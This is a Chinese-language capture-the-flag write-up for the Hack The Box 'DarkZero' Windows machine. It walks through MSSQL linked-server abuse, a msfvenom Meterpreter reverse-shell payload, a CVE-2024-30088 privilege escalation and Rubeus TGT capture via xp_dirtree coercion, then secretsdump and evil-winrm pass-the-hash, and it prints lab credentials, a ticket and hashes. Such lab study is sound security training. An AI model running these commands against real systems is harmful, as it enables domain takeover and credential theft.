[Season9] DarkZero WP

Posted on Edited on Word count in article: 1.3k Reading time ≈ 5 mins.
Hack The Box [Season9] DarkZero Windows Hard

User flag

nmap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
PORT      STATE SERVICE       REASON          VERSION
53/tcp    open  domain?       syn-ack ttl 127
| fingerprint-strings: 
|   DNSVersionBindReqTCP: 
|     version
|_    bind
88/tcp    open  kerberos-sec  syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2025-10-12 10:06:51Z)
135/tcp   open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
139/tcp   open  netbios-ssn   syn-ack ttl 127 Microsoft Windows netbios-ssn
389/tcp   open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: darkzero.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.darkzero.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.darkzero.htb
| Issuer: commonName=darkzero-DC01-CA/domainComponent=darkzero
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-07-29T11:40:00
| Not valid after:  2026-07-29T11:40:00
| MD5:   ce57 1ac8 da76 eb62 efe8 4e85 045b d440
| SHA-1: 603a f638 aabb 7eaa 1bdb 4256 5869 4de2 98b6 570c
445/tcp   open  microsoft-ds? syn-ack ttl 127
464/tcp   open  kpasswd5?     syn-ack ttl 127
593/tcp   open  ncacn_http    syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: darkzero.htb0., Site: Default-First-Site-Name)
1433/tcp  open  ms-sql-s      syn-ack ttl 127 Microsoft SQL Server  16.00.1000.00
| ms-sql-ntlm-info: 
|   Target_Name: darkzero
|   NetBIOS_Domain_Name: darkzero
|   NetBIOS_Computer_Name: DC01
|   DNS_Domain_Name: darkzero.htb
|   DNS_Computer_Name: DC01.darkzero.htb
|   DNS_Tree_Name: darkzero.htb
|_  Product_Version: 10.0.26100
2179/tcp  open  vmrdp?        syn-ack ttl 127
3268/tcp  open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: darkzero.htb0., Site: Default-First-Site-Name)
3269/tcp  open  ssl/ldap      syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: darkzero.htb0., Site: Default-First-Site-Name)
5985/tcp  open  http          syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf        syn-ack ttl 127 .NET Message Framing
49664/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49668/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49686/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49687/tcp open  ncacn_http    syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
49909/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49947/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49993/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
54502/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC

Host script results:
|_clock-skew: mean: 6h59m59s, deviation: 0s, median: 6h59m58s
| ms-sql-info: 
|   10.10.11.89:1433: 
|     Version: 
|       name: Microsoft SQL Server 
|       number: 16.00.1000.00
|       Product: Microsoft SQL Server 
|_    TCP port: 1433
| p2p-conficker: 
|   Checking for Conficker.C or higher...
|   Check 1 (port 47014/tcp): CLEAN (Timeout)
|   Check 2 (port 35679/tcp): CLEAN (Timeout)
|   Check 3 (port 7628/udp): CLEAN (Timeout)
|   Check 4 (port 13287/udp): CLEAN (Timeout)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled and required

1433 是 mssql server，使用 mssqlclient 和提供的凭据登录

1
mssqlclient.py darkzero.htb/john.w:RFulUtONCOL!@10.10.11.89 -windows-auth

看到有链接数据库

1
2
3
4
5
6
7
8
9
10
11
12
SQL (darkzero\john.w  guest@master)> enum_links 
[%] EXEC sp_linkedservers
SRV_NAME            SRV_PROVIDERNAME   SRV_PRODUCT   SRV_DATASOURCE      SRV_PROVIDERSTRING   SRV_LOCATION   SRV_CAT   
-----------------   ----------------   -----------   -----------------   ------------------   ------------   -------   
DC01                SQLNCLI            SQL Server    DC01                NULL                 NULL           NULL      

DC02.darkzero.ext   SQLNCLI            SQL Server    DC02.darkzero.ext   NULL                 NULL           NULL      

[%] EXEC sp_helplinkedsrvlogin
Linked Server       Local Login       Is Self Mapping   Remote Login   
-----------------   ---------------   ---------------   ------------   
DC02.darkzero.ext   darkzero\john.w                 0   dc01_sql_svc

切换到 DC02.darkzero.ext

1
use_link [DC02.darkzero.ext]

有启用 xp_cmdshell 的权限，可以弹 shell

生成一个 meterpreter 传上去

1
msfvenom -p windows/x64/meterpreter_reverse_tcp  LHOST=10.10.16.10 LPORT=4444 -f exe -o htb.exe

枚举一下

1
2
3
4
5
6
7
8
9
10
11
12
msf6 post(multi/recon/local_exploit_suggester) > run
 #   Name                                                           Potentially Vulnerable?  Check Result
 -   ----                                                           -----------------------  ------------
 1   exploit/windows/local/bypassuac_dotnet_profiler                Yes                      The target appears to be vulnerable.
 2   exploit/windows/local/bypassuac_sdclt                          Yes                      The target appears to be vulnerable.
 3   exploit/windows/local/cve_2022_21882_win32k                    Yes                      The service is running, but could not be validated. May be vulnerable, but exploit not tested on Windows Server 2022
 4   exploit/windows/local/cve_2022_21999_spoolfool_privesc         Yes                      The target appears to be vulnerable.
 5   exploit/windows/local/cve_2023_28252_clfs_driver               Yes                      The target appears to be vulnerable. The target is running windows version: 10.0.20348.0 which has a vulnerable version of clfs.sys installed by default
 6   exploit/windows/local/cve_2024_30085_cloud_files               Yes                      The target appears to be vulnerable.
 7   exploit/windows/local/cve_2024_30088_authz_basep               Yes                      The target appears to be vulnerable. Version detected: Windows Server 2022. Revision number detected: 2113
 8   exploit/windows/local/cve_2024_35250_ks_driver                 Yes                      The target appears to be vulnerable. ks.sys is present, Windows Version detected: Windows Server 2022
 9   exploit/windows/local/ms16_032_secondary_logon_handle_privesc  Yes                      The service is running, but could not be validated.

测试发现 exploit/windows/local/cve_2024_30088_authz_basep 可以利用

在 C:\Users\Administrator\Desktop 下发现 user.txt

Root flag

收集信息，没什么特殊权限，有域信任且 DC01 上设置了非约束委派

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
# 域信任
nltest /domain_trusts
List of domain trusts:
    0: darkzero darkzero.htb (NT 5) (Direct Outbound) (Direct Inbound) ( Attr: foresttrans )
    1: darkzero-ext darkzero.ext (NT 5) (Forest Tree Root) (Primary Domain) (Native)
The command completed successfully


PS C:\Windows\system32> Get-ADTrust -Filter *
Get-ADTrust -Filter *


Direction               : BiDirectional
DisallowTransivity      : False
DistinguishedName       : CN=darkzero.htb,CN=System,DC=darkzero,DC=ext
ForestTransitive        : True
IntraForest             : False
IsTreeParent            : False
IsTreeRoot              : False
Name                    : darkzero.htb
ObjectClass             : trustedDomain
ObjectGUID              : 700b5e64-8ae9-4528-a968-26e2b4a44509
SelectiveAuthentication : False
SIDFilteringForestAware : False
SIDFilteringQuarantined : False
Source                  : DC=darkzero,DC=ext
Target                  : darkzero.htb
TGTDelegation           : False
TrustAttributes         : 8
TrustedPolicy           : 
TrustingPolicy          : 
TrustType               : Uplevel
UplevelOnly             : False
UsesAESKeys             : False
UsesRC4Encryption       : False


# 开启了TGTDelegation非约束委派
PS C:\Windows\system32> Get-ADTrust -server darkzero.htb -Filter *
Get-ADTrust -server darkzero.htb -Filter *


Direction               : BiDirectional
DisallowTransivity      : False
DistinguishedName       : CN=darkzero.ext,CN=System,DC=darkzero,DC=htb
ForestTransitive        : True
IntraForest             : False
IsTreeParent            : False
IsTreeRoot              : False
Name                    : darkzero.ext
ObjectClass             : trustedDomain
ObjectGUID              : dc96b90d-8181-4c7f-90df-54b9814a8c06
SelectiveAuthentication : False
SIDFilteringForestAware : False
SIDFilteringQuarantined : False
Source                  : DC=darkzero,DC=htb
Target                  : darkzero.ext
TGTDelegation           : True
TrustAttributes         : 2056
TrustedPolicy           : 
TrustingPolicy          : 
TrustType               : Uplevel
UplevelOnly             : False
UsesAESKeys             : False
UsesRC4Encryption       : False

用 Rubeus 监听 LSASS

1
PS C:\Windows\TEMP> .\Rubeus.exe monitor /interval:5

触发 DC01 的认证

1
xp_dirtree "\\DC02.darkzero.ext\test"

拿到 TGT

1
2
3
4
5
6
7
8
9
10
[*] 10/11/2025 x:x:52 PM UTC - Found new TGT:

  User                  :  DC01$@DARKZERO.HTB
  StartTime             :  10/11/2025 xx:xx:15 PM
  EndTime               :  10/12/2025 xx:xx:15 AM
  RenewTill             :  10/18/2025 xx:xx:15 PM
  Flags                 :  name_canonicalize, pre_authent, renewable, forwarded, forwardable
  Base64EncodedTicket   :

doIFjDCCBYigAwIBBaEDAgEWooIElDCCBJBhggSMMIIEiKADAgEFoQ4bDERBUktaRVJPLkhUQqIhMB+gAwIBAqEYMBYbBmtyYnRndBsMREFSS1pFUk8uSFRCo4IETDCCBEigAwIBEqEDAgECooIEOgSCBDb6aEcZRQqDpmDRj+2yO9qFAFw6K4JD26PDedup8TsCryZPT5kUxT5/xDJPwYg+QuuovP8O7XsUZCP1bfFEAbs+sdKFqjq2vdp6ElSu3RXcOgC26Kj3mPcqYbIjg3uW/LpUh3JSGOdAacGCuHhZs7RkOm/MWeQAv9bqv3IHELly+lBwW7UZNfUDwDTDOfbL36JxlPO4Cch37+aOKHgfTopzxFYrDFjNQHNT3h5xOL/0r6gkJ1APc0uxkqdFh9N2OyXPD9lFWwojEYpoDUSdhERgkrWpZ+nJInUh+j7528TX8H4VA/aGMhHvsQIYozut6YVGYk1bRDLxkDNsUX2dJORE+JEeN03haQIU/zY3eMPPIzQdkTLv+oQZgxCm9dw+KY0CSVnHxi3J01Nk2OeTpBotbFIBitd6eORRmfDe6MTiC1v9IFc39v9mtuH1D/mxLrzwzN5LoAsIvFeBma56Vp34CyoirVdUjHkpjM3ksdPX9fhBANYB6D9xDWel/k4E6edm4K//uUELDNdT7eZPMZS936SYgf6C3Wy8iL/orWGhWwRygKsmgDh+Gi6xIDtvFeYqctR/MhwTXTSGmaOiyum6eQha70n33tbEq7aTa30hnAng86WT48e7LV6RhhKZpB6RwK6q7k0Z9pKIalvpUPt2nXveaRVUzX7lH1u2enyMuXqicr3P4GZHRsQRprU4coP8VZ+weyJz/EY50ybzpaqpDIjiMqw0QyG6/6cCh9DLaTLq6O9mGb7elZ7TewHvut7RG+FyoivTYrDFyPMNQt8SoL3bzXfv+Z55wEA6Tyyny6rIxYgtWyo2Kaek0fOq9nyG44bIZho0yp7xbdyD8VMx3Hzxgk+nYkqt/iyY/h120IzXWEmj3FqcLIqG3WI0JCFFS6Q9ezUpRGAwwBi9ej/8FkqWBEe/KU5OXWhA75vvA/UXCWlqF3mMKkS9iJD9LDfF2wh0xygP8yzXng7QsqR/W1ZEXsnv+WiUxH65am5y+JM7c98Ah+bhG8mB6GxpekYB/6PLAiGGuoLgHLWWAsgt/LGX24Lal8fk0kdwJrmVFaxOlb5pDwgoMNoFXOcQDMnTrTliGbCTxvt9NIwt7buSVySOjkCbwCVgF91edYMc1TuorwWelGaL/1F8D8VsPP6yZ9S/ZBpV83M7ZxvDzPwzA/GwcV4np7PLMzc2n3itg52ZefWAF1nLBD76Ta6IbT1XFhA4iPSAh07lqQG/5fiELprf1IMMyxMXxNye15wr0LFcVE/dRYclFJj42WWrlnFjj9mkVFokydwnJOJcJ/aWC2vna84Pe99c5yFzO4e8fb3N6Rzup50PTgJyzH5cwIowmL8Es21hiYJloXQahhU2HPYGyZa+GDnckB1q6Lp7xrPdiMtUEOX1dUmJi66nCySvakksYICGNbEs+shBfPTnvdz4mzQzo4HjMIHgoAMCAQCigdgEgdV9gdIwgc+ggcwwgckwgcagKzApoAMCARKhIgQgRH3wM8L0TE8gvyChNHmByZnJXLduqj0gvfN2NLLEO0OhDhsMREFSS1pFUk8uSFRCohIwEKADAgEBoQkwBxsFREMwMSSjBwMFAGChAAClERgPMjAyNTEwMTEyMTM3MTVaphEYDzIwMjUxMDEyMDczNzE1WqcRGA8yMDI1MTAxODIxMzcxNVqoDhsMREFSS1pFUk8uSFRCqSEwH6ADAgECoRgwFhsGa3JidGd0GwxEQVJLWkVSTy5IVEI=

导入后尝试 dump administrator 的 hash

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$ echo xxxxxxx | base64 -d > dc01.kirbi
$ ticketConverter.py dc01.kirbi dc01.ccache
$ export KRB5CCNAME=dc01.ccache
$ ntpdate -u 10.10.11.89 && secretsdump.py 'DARKZERO.HTB/DC01$'@dc01.darkzero.htb -k -no-pass -just-dc-user Administrator -dc-ip 10.10.11.89
11 Oct xx:xx:10 ntpdate[2353338]: adjust time server 10.10.11.89 offset +0.000457 sec
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:5917507bdf2ef2c2b0a869a1cba40726:::
[*] Kerberos keys grabbed
Administrator:0x14:2f8efea2896670fa78f4da08a53c1ced59018a89b762cbcf6628bd290039b9cd
Administrator:0x13:a23315d970fe9d556be03ab611730673
Administrator:aes256-cts-hmac-sha1-96:d4aa4a338e44acd57b857fc4d650407ca2f9ac3d6f79c9de59141575ab16cabd
Administrator:aes128-cts-hmac-sha1-96:b1e04b87abab7be2c600fc652ac84362
Administrator:0x17:5917507bdf2ef2c2b0a869a1cba40726
[*] Cleaning up...

pass-the-hash 连接 DC01

1
2
3
4
evil-winrm -i dc01.darkzero.htb -u administrator -H 5917507bdf2ef2c2b0a869a1cba40726

*Evil-WinRM* PS C:\Users\Administrator\desktop> cat root.txt
070693d6b0242a44d21f2ced3040c2f2